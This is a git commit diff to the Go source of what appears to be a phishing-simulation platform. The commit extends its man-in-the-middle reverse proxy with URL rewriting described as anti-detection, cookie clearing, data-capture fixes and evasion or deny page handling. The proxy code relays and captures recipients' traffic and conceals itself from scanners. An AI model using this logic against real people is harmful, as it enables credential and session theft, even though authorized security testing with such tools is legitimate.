Update proxy yaml completions

Added rewrite-url directive
Access directive is 404 and private by default
Fixed missing data capture
Fix missing data capture
MITM campaign now use campaign template domain for all pages exception
mitm page and evasion page.
Fix always start new session on initial page visit
Use the random mitm cookie name
Use proxy target URL for mitm page
This commit is contained in:
Ronni Skansing
2025-10-23 18:38:04 +02:00
parent 82f370bf5a
commit dda9a66437
6 changed files with 720 additions and 63 deletions
+1
View File
@@ -80,6 +80,7 @@ func NewServer(
services.Campaign,
services.Template,
services.IPAllowList,
repositories.Option,
)
// setup proxy session cleanup routine
+424 -48
View File
@@ -106,6 +106,7 @@ type ProxyHandler struct {
logger *zap.SugaredLogger
sessions sync.Map // map[string]*ProxySession
campaignRecipientSessions sync.Map // map[string]string (campaignRecipientID -> sessionID)
urlMappings sync.Map // map[string]string (rewritten URL -> original URL)
PageRepository *repository.Page
CampaignRecipientRepository *repository.CampaignRecipient
CampaignRepository *repository.Campaign
@@ -116,6 +117,7 @@ type ProxyHandler struct {
CampaignService *service.Campaign
TemplateService *service.Template
IPAllowListService *service.IPAllowListService
OptionRepository *repository.Option
cookieName string
}
@@ -131,7 +133,14 @@ func NewProxyHandler(
campaignService *service.Campaign,
templateService *service.Template,
ipAllowListService *service.IPAllowListService,
optionRepo *repository.Option,
) *ProxyHandler {
// get proxy cookie name from database
cookieName := "ps" // fallback default
if opt, err := optionRepo.GetByKey(context.Background(), data.OptionKeyProxyCookieName); err == nil {
cookieName = opt.Value.String()
}
return &ProxyHandler{
logger: logger,
PageRepository: pageRepo,
@@ -144,7 +153,8 @@ func NewProxyHandler(
CampaignService: campaignService,
TemplateService: templateService,
IPAllowListService: ipAllowListService,
cookieName: "ps",
OptionRepository: optionRepo,
cookieName: cookieName,
}
}
@@ -158,6 +168,11 @@ func (m *ProxyHandler) HandleHTTPRequest(w http.ResponseWriter, req *http.Reques
return err
}
// check for URL rewrite and redirect if needed
if rewriteResp := m.checkAndApplyURLRewrite(req, reqCtx); rewriteResp != nil {
return m.writeResponse(w, rewriteResp)
}
// check ip filtering if we have a campaign recipient
if reqCtx.CampaignRecipientID != nil {
blocked, resp := m.checkIPFilter(req, reqCtx)
@@ -276,27 +291,58 @@ func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *Requ
}
reqURL := req.URL.String()
// check for existing session first
sessionCookie, err := req.Cookie(m.cookieName)
if err == nil && m.isValidSessionCookie(sessionCookie.Value) {
reqCtx.SessionID = sessionCookie.Value
}
// always create new session for initial MITM page visits with campaign recipient ID
createSession := reqCtx.CampaignRecipientID != nil
// check if this has a valid state parameter (post-evasion request)
hasValidStateParameter := false
if createSession {
campaign, _, _, err := m.getCampaignInfo(req.Context(), reqCtx.CampaignRecipientID)
if err == nil {
templateID, err := campaign.TemplateID.Get()
if err == nil {
cTemplate, err := m.CampaignTemplateRepository.GetByID(req.Context(), &templateID, &repository.CampaignTemplateOption{
WithIdentifier: true,
})
if err == nil && cTemplate.StateIdentifier != nil {
stateParamKey := cTemplate.StateIdentifier.Name.MustGet()
encryptedParam := req.URL.Query().Get(stateParamKey)
if encryptedParam != "" {
campaignID, _ := campaign.ID.Get()
secret := utils.UUIDToSecret(&campaignID)
if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil {
hasValidStateParameter = decrypted != "deny"
}
}
}
}
}
}
// check for deny pages first (for any campaign recipient ID)
if reqCtx.CampaignRecipientID != nil {
if resp := m.checkAndServeDenyPage(req, reqCtx); resp != nil {
return req, resp
}
}
// check for evasion/deny pages BEFORE session resolution for initial requests
if createSession {
// cleanup any existing session first
m.cleanupExistingSession(reqCtx.CampaignRecipientID, reqURL)
// check if this is a deny request from evasion page
if resp := m.checkAndServeDenyPage(req, reqCtx); resp != nil {
return req, resp
}
// check if we should serve an evasion page first
if resp := m.checkAndServeEvasionPage(req, reqCtx); resp != nil {
return req, resp
}
} else {
// check for existing session
sessionCookie, err := req.Cookie(m.cookieName)
if err == nil && m.isValidSessionCookie(sessionCookie.Value) {
reqCtx.SessionID = sessionCookie.Value
// check for evasion page only if no valid state parameter (initial request)
if !hasValidStateParameter {
if resp := m.checkAndServeEvasionPage(req, reqCtx); resp != nil {
return req, resp
}
}
}
@@ -318,19 +364,24 @@ func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *Requ
}
// handle requests without session
if reqCtx.SessionID == "" && !createSession {
if reqCtx.SessionID == "" && !createSession && reqCtx.CampaignRecipientID == nil {
return m.prepareRequestWithoutSession(req, reqCtx.TargetDomain), nil
}
// get or create session and populate context
err := m.resolveSessionContext(req, reqCtx, createSession)
if err != nil {
m.logger.Errorw("failed to resolve session context", "error", err)
return req, m.createServiceUnavailableResponse("Service temporarily unavailable")
// get or create session and populate context if we have campaign recipient ID or valid session
if reqCtx.CampaignRecipientID != nil || reqCtx.SessionID != "" {
err = m.resolveSessionContext(req, reqCtx, createSession)
if err != nil {
m.logger.Errorw("failed to resolve session context", "error", err)
return req, m.createServiceUnavailableResponse("Service temporarily unavailable")
}
// apply session-based request processing
return m.applySessionToRequestWithContext(req, reqCtx), nil
}
// apply session-based request processing
return m.applySessionToRequestWithContext(req, reqCtx), nil
// handle requests without campaign recipient ID or session
return m.prepareRequestWithoutSession(req, reqCtx.TargetDomain), nil
}
func (m *ProxyHandler) cleanupExistingSession(campaignRecipientID *uuid.UUID, reqURL string) {
@@ -388,13 +439,48 @@ func (m *ProxyHandler) resolveSessionContext(req *http.Request, reqCtx *RequestC
func (m *ProxyHandler) applySessionToRequestWithContext(req *http.Request, reqCtx *RequestContext) *http.Request {
// handle initial request with campaign recipient id
if reqCtx.CampaignRecipientID != nil && reqCtx.SessionCreated {
// always redirect to StartURL for new sessions (both initial and post-evasion)
// get proxy configuration to extract start url
ctx := req.Context()
proxyEntry, err := m.ProxyRepository.GetByID(ctx, reqCtx.Domain.ProxyID, &repository.ProxyOption{})
if err == nil {
startURL, err := proxyEntry.StartURL.Get()
if err == nil {
// parse start url to get the target path and query
if parsedStartURL, err := url.Parse(startURL.String()); err == nil {
// use the path and query from start url for initial mitm visits
req.URL.Path = parsedStartURL.Path
req.URL.RawQuery = parsedStartURL.RawQuery
}
}
}
}
// handle any request with campaign recipient id (initial or existing session)
if reqCtx.CampaignRecipientID != nil {
req.Host = reqCtx.Session.TargetDomain
req.URL.Scheme = "https"
req.URL.Host = reqCtx.Session.TargetDomain
// remove campaign recipient id from query params
// remove campaign parameters from query params
q := req.URL.Query()
q.Del(reqCtx.ParamName)
// also remove state parameter if it exists
if reqCtx.Session.Campaign != nil {
templateID, err := reqCtx.Session.Campaign.TemplateID.Get()
if err == nil {
ctx := req.Context()
cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{
WithIdentifier: true,
})
if err == nil && cTemplate.StateIdentifier != nil {
stateParamKey := cTemplate.StateIdentifier.Name.MustGet()
q.Del(stateParamKey)
}
}
}
req.URL.RawQuery = q.Encode()
} else {
// for subsequent requests, map to original host
@@ -538,6 +624,8 @@ func (m *ProxyHandler) captureResponseDataWithContext(resp *http.Response, reqCt
func (m *ProxyHandler) processResponseWithSessionContext(resp *http.Response, reqCtx *RequestContext) *http.Response {
// set session cookie for new sessions
if reqCtx.SessionCreated {
// clear all existing cookies for initial MITM visit to ensure fresh start
m.clearAllCookiesForInitialMitmVisit(resp, reqCtx)
m.setSessionCookieWithContext(resp, reqCtx)
}
@@ -569,12 +657,14 @@ func (m *ProxyHandler) setSessionCookieWithContext(resp *http.Response, reqCtx *
Secure: true,
SameSite: http.SameSiteLaxMode,
}
resp.Header.Add("Set-Cookie", cookie.String())
}
func (m *ProxyHandler) copyCookieToResponse(sourceResp, targetResp *http.Response) {
if cookieHeader := sourceResp.Header.Get("Set-Cookie"); cookieHeader != "" {
targetResp.Header.Set("Set-Cookie", cookieHeader)
cookieHeaders := sourceResp.Header.Values("Set-Cookie")
for _, cookieHeader := range cookieHeaders {
targetResp.Header.Add("Set-Cookie", cookieHeader)
}
}
@@ -672,6 +762,7 @@ func (m *ProxyHandler) rewriteResponseBodyWithContext(resp *http.Response, reqCt
}
body = m.patchUrls(reqCtx.ConfigMap, body, CONVERT_TO_PHISHING_URLS)
body = m.applyURLPathRewrites(body, reqCtx)
body = m.applyCustomReplacements(body, reqCtx.Session)
m.updateResponseBody(resp, body, wasCompressed)
@@ -791,6 +882,7 @@ func (m *ProxyHandler) rewriteResponseBodyWithoutSessionContext(resp *http.Respo
}
body = m.patchUrls(config, body, CONVERT_TO_PHISHING_URLS)
body = m.applyURLPathRewritesWithoutSession(body, reqCtx)
body = m.applyCustomReplacementsWithoutSession(body, config, reqCtx.TargetDomain)
m.updateResponseBody(resp, body, wasCompressed)
@@ -2076,6 +2168,9 @@ func (m *ProxyHandler) buildCampaignFlowRedirectURL(session *ProxySession, nextP
if _, err := cTemplate.AfterLandingPageID.Get(); err == nil {
usesTemplateDomain = true
}
case "deny":
// deny pages should use template domain if available
usesTemplateDomain = true
default:
if redirectURL, err := cTemplate.AfterLandingPageRedirectURL.Get(); err == nil {
if url := redirectURL.String(); len(url) > 0 {
@@ -2215,6 +2310,18 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig
}
}
}
// set defaults for domain access control
if domainConfig != nil && domainConfig.Access != nil {
// set default mode to private if not specified
if domainConfig.Access.Mode == "" {
domainConfig.Access.Mode = "private"
}
// set default deny action for private mode if not specified
if domainConfig.Access.Mode == "private" && domainConfig.Access.OnDeny == "" {
domainConfig.Access.OnDeny = "404"
}
}
config.Hosts[domain] = domainConfig
}
@@ -2227,6 +2334,18 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig
}
}
}
// set defaults for global access control
if config.Global != nil && config.Global.Access != nil {
// set default mode to private if not specified
if config.Global.Access.Mode == "" {
config.Global.Access.Mode = "private"
}
// set default deny action for private mode if not specified
if config.Global.Access.Mode == "private" && config.Global.Access.OnDeny == "" {
config.Global.Access.OnDeny = "404"
}
}
}
func (m *ProxyHandler) GetCookieName() string {
@@ -2466,6 +2585,27 @@ func (m *ProxyHandler) createServiceUnavailableResponse(message string) *http.Re
return resp
}
func (m *ProxyHandler) clearAllCookiesForInitialMitmVisit(resp *http.Response, reqCtx *RequestContext) {
// clear all existing cookies by setting them to expire immediately
if resp.Request != nil {
for _, cookie := range resp.Request.Cookies() {
// create expired cookie to clear it
expiredCookie := &http.Cookie{
Name: cookie.Name,
Value: "",
Path: "/",
Domain: reqCtx.PhishDomain,
Expires: time.Unix(0, 0),
MaxAge: -1,
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteNoneMode,
}
resp.Header.Add("Set-Cookie", expiredCookie.String())
}
}
}
func (m *ProxyHandler) writeResponse(w http.ResponseWriter, resp *http.Response) error {
// check for nil response
if resp == nil {
@@ -2848,8 +2988,21 @@ func (m *ProxyHandler) checkAndServeEvasionPage(req *http.Request, reqCtx *Reque
}
}
// preserve the original URL without campaign parameters for post-evasion redirect
originalURL := req.URL.Path
if req.URL.RawQuery != "" {
// parse query params and remove campaign recipient ID
query := req.URL.Query()
if reqCtx.ParamName != "" {
query.Del(reqCtx.ParamName)
}
if len(query) > 0 {
originalURL += "?" + query.Encode()
}
}
// this is initial request with campaign recipient ID and no state parameter, serve evasion page
return m.serveEvasionPageResponseDirect(req, reqCtx, &evasionPageID, campaign, cTemplate)
return m.serveEvasionPageResponseDirect(req, reqCtx, &evasionPageID, campaign, cTemplate, originalURL)
}
// checkAndServeDenyPage checks if a deny page should be served and returns the response if so
@@ -2868,6 +3021,7 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC
ctx := req.Context()
cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{
WithDomain: true,
WithIdentifier: true,
})
if err != nil {
@@ -2875,19 +3029,17 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC
}
// check if state parameter indicates deny
if cTemplate.StateIdentifier != nil {
stateParamKey := cTemplate.StateIdentifier.Name.MustGet()
encryptedParam := req.URL.Query().Get(stateParamKey)
if encryptedParam != "" {
campaignID, err := campaign.ID.Get()
if err != nil {
return nil
}
secret := utils.UUIDToSecret(&campaignID)
if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil {
if decrypted == "deny" {
return m.serveDenyPageResponseDirect(req, reqCtx, campaign)
}
stateParamKey := cTemplate.StateIdentifier.Name.MustGet()
encryptedParam := req.URL.Query().Get(stateParamKey)
if encryptedParam != "" {
campaignID, err := campaign.ID.Get()
if err != nil {
return nil
}
secret := utils.UUIDToSecret(&campaignID)
if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil {
if decrypted == "deny" {
return m.serveDenyPageResponseDirect(req, reqCtx, campaign, cTemplate)
}
}
}
@@ -2895,7 +3047,7 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC
return nil
}
func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx *RequestContext, evasionPageID *uuid.UUID, campaign *model.Campaign, cTemplate *model.CampaignTemplate) *http.Response {
func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx *RequestContext, evasionPageID *uuid.UUID, campaign *model.Campaign, cTemplate *model.CampaignTemplate, originalURL string) *http.Response {
ctx := req.Context()
evasionPage, err := m.PageRepository.GetByID(ctx, evasionPageID, &repository.PageOption{})
if err != nil {
@@ -2918,7 +3070,7 @@ func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx
nextPageType = data.PAGE_TYPE_LANDING
}
htmlContent, err := m.renderEvasionPageTemplate(req, reqCtx, evasionPage, campaign, cTemplate, nextPageType)
htmlContent, err := m.renderEvasionPageTemplate(req, reqCtx, evasionPage, campaign, cTemplate, nextPageType, originalURL)
if err != nil {
m.logger.Errorw("failed to render evasion page template", "error", err)
return nil
@@ -2941,7 +3093,7 @@ func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx
return resp
}
func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *RequestContext, campaign *model.Campaign) *http.Response {
func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *RequestContext, campaign *model.Campaign, cTemplate *model.CampaignTemplate) *http.Response {
denyPageID, err := campaign.DenyPageID.Get()
if err != nil {
// if no deny page configured, return 403
@@ -2955,6 +3107,32 @@ func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *Re
return resp
}
// check if we're on a mitm domain and should redirect to campaign template domain
if cTemplate != nil && cTemplate.Domain != nil {
currentDomainName := req.Host
templateDomainName, err := cTemplate.Domain.Name.Get()
if err == nil && currentDomainName != templateDomainName.String() {
// we're on mitm domain, redirect to campaign template domain
campaignID := campaign.ID.MustGet()
redirectURL := m.buildCampaignFlowRedirectURL(&ProxySession{
CampaignRecipientID: reqCtx.CampaignRecipientID,
Campaign: campaign,
CampaignID: &campaignID,
}, "deny")
if redirectURL != "" {
resp := &http.Response{
StatusCode: 302,
Header: make(http.Header),
Body: io.NopCloser(strings.NewReader("")),
}
resp.Header.Set("Location", redirectURL)
resp.Header.Set("Cache-Control", "no-cache, no-store, must-revalidate")
return resp
}
}
}
// serve deny page directly (either on campaign template domain or as fallback)
ctx := req.Context()
denyPage, err := m.PageRepository.GetByID(ctx, &denyPageID, &repository.PageOption{})
if err != nil {
@@ -2984,7 +3162,7 @@ func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *Re
return resp
}
func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *RequestContext, page *model.Page, campaign *model.Campaign, cTemplate *model.CampaignTemplate, nextPageType string) (string, error) {
func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *RequestContext, page *model.Page, campaign *model.Campaign, cTemplate *model.CampaignTemplate, nextPageType string, originalURL string) (string, error) {
// get recipient
ctx := req.Context()
cRecipient, err := m.CampaignRecipientRepository.GetByID(ctx, reqCtx.CampaignRecipientID, &repository.CampaignRecipientOption{})
@@ -3062,8 +3240,7 @@ func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *Requ
RedirectURL: domain.RedirectURL.MustGet().String(),
}
// use template service to render the page
urlPath := req.URL.Path
// use template service to render the page with preserved original URL
buf, err := m.TemplateService.CreatePhishingPageWithCampaign(
dbDomain,
email,
@@ -3072,7 +3249,7 @@ func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *Requ
htmlContent.String(),
cTemplate,
encryptedNextState,
urlPath,
originalURL,
campaign,
)
if err != nil {
@@ -3185,7 +3362,7 @@ func (m *ProxyHandler) checkIPFilter(req *http.Request, reqCtx *RequestContext)
if !allowed {
// try to serve deny page
if _, err := campaign.DenyPageID.Get(); err == nil {
resp := m.serveDenyPageResponseDirect(req, reqCtx, campaign)
resp := m.serveDenyPageResponseDirect(req, reqCtx, campaign, nil)
return true, resp
}
@@ -3195,3 +3372,202 @@ func (m *ProxyHandler) checkIPFilter(req *http.Request, reqCtx *RequestContext)
return false, nil
}
// checkAndApplyURLRewrite checks if the incoming request matches any URL rewrite rules
// and returns a redirect response if a match is found
func (m *ProxyHandler) checkAndApplyURLRewrite(req *http.Request, reqCtx *RequestContext) *http.Response {
// check if this is already a rewritten URL that we need to reverse map
originalURL := m.getReverseURLMapping(req.URL.Path, req.URL.RawQuery)
if originalURL != "" {
// this is a rewritten URL, update the request to use the original URL
m.applyReverseURLMapping(req, originalURL)
return nil
}
// check for URL rewrite rules in domain config
var rewriteRules []service.ProxyServiceURLRewriteRule
if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig.RewriteURLs != nil {
rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...)
}
// check for URL rewrite rules in global config
if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil {
rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...)
}
// check each rewrite rule
for _, rule := range rewriteRules {
if matched, rewrittenURL := m.applyURLRewriteRule(req, rule); matched {
// store the mapping for reverse lookup
originalURL := req.URL.Path
if req.URL.RawQuery != "" {
originalURL += "?" + req.URL.RawQuery
}
m.storeURLMapping(rewrittenURL, originalURL)
// create redirect response
return &http.Response{
StatusCode: http.StatusFound,
Header: http.Header{
"Location": []string{rewrittenURL},
},
Body: io.NopCloser(strings.NewReader("")),
}
}
}
return nil
}
// applyURLRewriteRule checks if a URL matches a rewrite rule and returns the rewritten URL
func (m *ProxyHandler) applyURLRewriteRule(req *http.Request, rule service.ProxyServiceURLRewriteRule) (bool, string) {
// compile regex pattern
pathRegex, err := regexp.Compile(rule.Find)
if err != nil {
m.logger.Errorw("invalid URL rewrite regex pattern", "pattern", rule.Find, "error", err)
return false, ""
}
// check if path matches
if !pathRegex.MatchString(req.URL.Path) {
return false, ""
}
// build rewritten URL
rewrittenPath := rule.Replace
rewrittenQuery := m.rewriteQueryParameters(req.URL.Query(), rule.Query, rule.Filter)
// construct full rewritten URL
rewrittenURL := rewrittenPath
if rewrittenQuery != "" {
rewrittenURL += "?" + rewrittenQuery
}
return true, rewrittenURL
}
// rewriteQueryParameters applies query parameter mapping rules
func (m *ProxyHandler) rewriteQueryParameters(originalQuery url.Values, queryRules []service.ProxyServiceURLRewriteQueryParam, filter []string) string {
rewrittenQuery := url.Values{}
// if filter list is empty, keep all parameters and apply mappings
if len(filter) == 0 {
// start with all original parameters
for key, values := range originalQuery {
rewrittenQuery[key] = values
}
// apply parameter mappings
for _, rule := range queryRules {
if values, exists := originalQuery[rule.Find]; exists {
// remove the old key and add the new one
delete(rewrittenQuery, rule.Find)
rewrittenQuery[rule.Replace] = values
}
}
} else {
// only keep parameters in the filter list
for _, key := range filter {
if values, exists := originalQuery[key]; exists {
rewrittenQuery[key] = values
}
}
// apply mappings only to filtered parameters
for _, rule := range queryRules {
if values, exists := originalQuery[rule.Find]; exists && contains(filter, rule.Find) {
// remove the old key and add the new one
delete(rewrittenQuery, rule.Find)
rewrittenQuery[rule.Replace] = values
}
}
}
return rewrittenQuery.Encode()
}
// contains checks if a string slice contains a specific string
func contains(slice []string, item string) bool {
for _, s := range slice {
if s == item {
return true
}
}
return false
}
// storeURLMapping stores the mapping between rewritten and original URLs
func (m *ProxyHandler) storeURLMapping(rewrittenURL, originalURL string) {
m.urlMappings.Store(rewrittenURL, originalURL)
}
// getReverseURLMapping gets the original URL for a rewritten URL
func (m *ProxyHandler) getReverseURLMapping(path, query string) string {
rewrittenURL := path
if query != "" {
rewrittenURL += "?" + query
}
if originalURL, exists := m.urlMappings.Load(rewrittenURL); exists {
return originalURL.(string)
}
return ""
}
// applyReverseURLMapping updates the request to use the original URL
func (m *ProxyHandler) applyReverseURLMapping(req *http.Request, originalURL string) {
// parse the original URL
parsedURL, err := url.Parse(originalURL)
if err != nil {
m.logger.Errorw("failed to parse original URL during reverse mapping", "url", originalURL, "error", err)
return
}
// update request URL
req.URL.Path = parsedURL.Path
req.URL.RawQuery = parsedURL.RawQuery
req.RequestURI = req.URL.Path
if req.URL.RawQuery != "" {
req.RequestURI += "?" + req.URL.RawQuery
}
}
// applyURLPathRewrites applies URL path rewriting to response body content
func (m *ProxyHandler) applyURLPathRewrites(body []byte, reqCtx *RequestContext) []byte {
// get URL rewrite rules from domain config
var rewriteRules []service.ProxyServiceURLRewriteRule
if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig.RewriteURLs != nil {
rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...)
}
// get URL rewrite rules from global config
if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil {
rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...)
}
// apply each rewrite rule to the response body
bodyStr := string(body)
for _, rule := range rewriteRules {
bodyStr = m.rewritePathsInContent(bodyStr, rule)
}
return []byte(bodyStr)
}
// applyURLPathRewritesWithoutSession applies URL path rewriting for requests without session
func (m *ProxyHandler) applyURLPathRewritesWithoutSession(body []byte, reqCtx *RequestContext) []byte {
return m.applyURLPathRewrites(body, reqCtx)
}
// rewritePathsInContent rewrites URL paths in HTML/JS content according to rewrite rules
func (m *ProxyHandler) rewritePathsInContent(content string, rule service.ProxyServiceURLRewriteRule) string {
// compile regex pattern for finding URLs in content
pathRegex, err := regexp.Compile(rule.Find)
if err != nil {
m.logger.Errorw("invalid URL rewrite regex pattern", "pattern", rule.Find, "error", err)
return content
}
// find and replace all occurrences of the original path with the rewritten path
return pathRegex.ReplaceAllString(content, rule.Replace)
}
+6 -1
View File
@@ -2794,7 +2794,12 @@ func (c *Campaign) GetLandingPageURLByCampaignRecipientID(
return "", errs.Wrap(err)
}
baseURL = "https://" + phishingDomain
urlPath = parsedStartURL.Path
// use campaign template URLPath if available, otherwise fall back to proxy StartURL path
if templateURLPath, err := cTemplate.URLPath.Get(); err == nil && templateURLPath.String() != "" {
urlPath = templateURLPath.String()
} else {
urlPath = parsedStartURL.Path
}
}
}
+128 -10
View File
@@ -40,20 +40,22 @@ type ProxyServiceConfig struct {
// ProxyServiceDomainConfig represents configuration for a specific domain mapping
type ProxyServiceDomainConfig struct {
To string `yaml:"to"`
Access *ProxyServiceAccessControl `yaml:"access,omitempty"`
Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"`
Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"`
Response []ProxyServiceResponseRule `yaml:"response,omitempty"`
To string `yaml:"to"`
Access *ProxyServiceAccessControl `yaml:"access,omitempty"`
Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"`
Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"`
Response []ProxyServiceResponseRule `yaml:"response,omitempty"`
RewriteURLs []ProxyServiceURLRewriteRule `yaml:"rewrite_urls,omitempty"`
}
// ProxyServiceRules represents capture and replace rules
// ProxyServiceRules represents global rules that apply to all hosts
type ProxyServiceRules struct {
Access *ProxyServiceAccessControl `yaml:"access,omitempty"`
Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"`
Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"`
Response []ProxyServiceResponseRule `yaml:"response,omitempty"`
Access *ProxyServiceAccessControl `yaml:"access,omitempty"`
Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"`
Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"`
Response []ProxyServiceResponseRule `yaml:"response,omitempty"`
RewriteURLs []ProxyServiceURLRewriteRule `yaml:"rewrite_urls,omitempty"`
}
// ProxyServiceAccessControl represents access control configuration
@@ -156,6 +158,20 @@ type ProxyServiceReplaceRule struct {
From string `yaml:"from,omitempty"`
}
// ProxyServiceURLRewriteRule represents a URL rewrite rule for anti-detection
type ProxyServiceURLRewriteRule struct {
Find string `yaml:"find"` // regex pattern to match path
Replace string `yaml:"replace"` // replacement path
Query []ProxyServiceURLRewriteQueryParam `yaml:"query,omitempty"`
Filter []string `yaml:"filter,omitempty"` // query parameters to keep (if empty, keep all)
}
// ProxyServiceURLRewriteQueryParam represents query parameter mapping
type ProxyServiceURLRewriteQueryParam struct {
Find string `yaml:"find"` // original parameter name
Replace string `yaml:"replace"` // new parameter name
}
// ProxyServiceResponseRule represents a response rule that allows custom responses for specific paths
//
// COMPLETE PROCESSING ORDER & PRECEDENCE:
@@ -718,6 +734,10 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P
if err := m.validateReplaceRules(config.Global.Rewrite); err != nil {
return err
}
// validate global URL rewrite rules
if err := m.validateURLRewriteRules(config.Global.RewriteURLs); err != nil {
return err
}
// validate global response rules
if err := m.validateResponseRules(config.Global.Response); err != nil {
return err
@@ -833,6 +853,66 @@ func (m *Proxy) validateCaptureRules(captureRules []ProxyServiceCaptureRule) err
return nil
}
// validateURLRewriteRules validates URL rewrite rules configuration
func (m *Proxy) validateURLRewriteRules(urlRewriteRules []ProxyServiceURLRewriteRule) error {
for i, rule := range urlRewriteRules {
// validate find pattern is not empty
if rule.Find == "" {
return validate.WrapErrorWithField(
errors.New(fmt.Sprintf("URL rewrite rule at index %d must have a find pattern", i)),
"proxyConfig",
)
}
// validate regex pattern
if _, err := regexp.Compile(rule.Find); err != nil {
return validate.WrapErrorWithField(
errors.New(fmt.Sprintf("URL rewrite rule at index %d has invalid regex pattern: %s", i, err.Error())),
"proxyConfig",
)
}
// validate replace path is not empty
if rule.Replace == "" {
return validate.WrapErrorWithField(
errors.New(fmt.Sprintf("URL rewrite rule at index %d must have a replace path", i)),
"proxyConfig",
)
}
// validate query parameter mappings
queryParamNames := make(map[string]bool)
for j, queryParam := range rule.Query {
if queryParam.Find == "" {
return validate.WrapErrorWithField(
errors.New(fmt.Sprintf("URL rewrite rule at index %d, query param at index %d must have a find parameter name", i, j)),
"proxyConfig",
)
}
if queryParam.Replace == "" {
return validate.WrapErrorWithField(
errors.New(fmt.Sprintf("URL rewrite rule at index %d, query param at index %d must have a replace parameter name", i, j)),
"proxyConfig",
)
}
// check for duplicate query parameter mappings
if queryParamNames[queryParam.Find] {
return validate.WrapErrorWithField(
errors.New(fmt.Sprintf("URL rewrite rule at index %d has duplicate query parameter mapping for '%s'", i, queryParam.Find)),
"proxyConfig",
)
}
queryParamNames[queryParam.Find] = true
}
// note: it's valid to both filter and map the same parameter
// the filter determines which parameters are allowed through,
// and mappings rename them during the process
}
return nil
}
// validateResponseRules validates response rules configuration
func (m *Proxy) validateResponseRules(responseRules []ProxyServiceResponseRule) error {
for i, rule := range responseRules {
@@ -917,6 +997,18 @@ func (m *Proxy) setProxyConfigDefaults(config *ProxyServiceConfigYAML) {
}
}
// set defaults for domain access control
if domainConfig != nil && domainConfig.Access != nil {
// set default mode to private if not specified
if domainConfig.Access.Mode == "" {
domainConfig.Access.Mode = "private"
}
// set default deny action for private mode if not specified
if domainConfig.Access.Mode == "private" && domainConfig.Access.OnDeny == "" {
domainConfig.Access.OnDeny = "404"
}
}
// clean up rewrite rules based on engine type
if domainConfig.Rewrite != nil {
for i := range domainConfig.Rewrite {
@@ -950,6 +1042,18 @@ func (m *Proxy) setProxyConfigDefaults(config *ProxyServiceConfigYAML) {
}
}
}
// set defaults for global access control
if config.Global != nil && config.Global.Access != nil {
// set default mode to private if not specified
if config.Global.Access.Mode == "" {
config.Global.Access.Mode = "private"
}
// set default deny action for private mode if not specified
if config.Global.Access.Mode == "private" && config.Global.Access.OnDeny == "" {
config.Global.Access.OnDeny = "404"
}
}
// clean up global rewrite rules based on engine type
if config.Global != nil && config.Global.Rewrite != nil {
for i := range config.Global.Rewrite {
@@ -1332,11 +1436,21 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err
return err
}
// validate domain-specific rewrite rules
// validate domain-specific capture rules
if err := m.validateCaptureRules(domainConfig.Capture); err != nil {
return err
}
// validate rewrite rules
if err := m.validateReplaceRules(domainConfig.Rewrite); err != nil {
return err
}
// validate URL rewrite rules
if err := m.validateURLRewriteRules(domainConfig.RewriteURLs); err != nil {
return err
}
// validate response rules
if err := m.validateResponseRules(domainConfig.Response); err != nil {
return err
@@ -1359,6 +1473,10 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err
if err := m.validateReplaceRules(config.Global.Rewrite); err != nil {
return err
}
// validate global URL rewrite rules
if err := m.validateURLRewriteRules(config.Global.RewriteURLs); err != nil {
return err
}
// validate global response rules
if err := m.validateResponseRules(config.Global.Response); err != nil {
return err
+33 -3
View File
@@ -7,6 +7,7 @@ import (
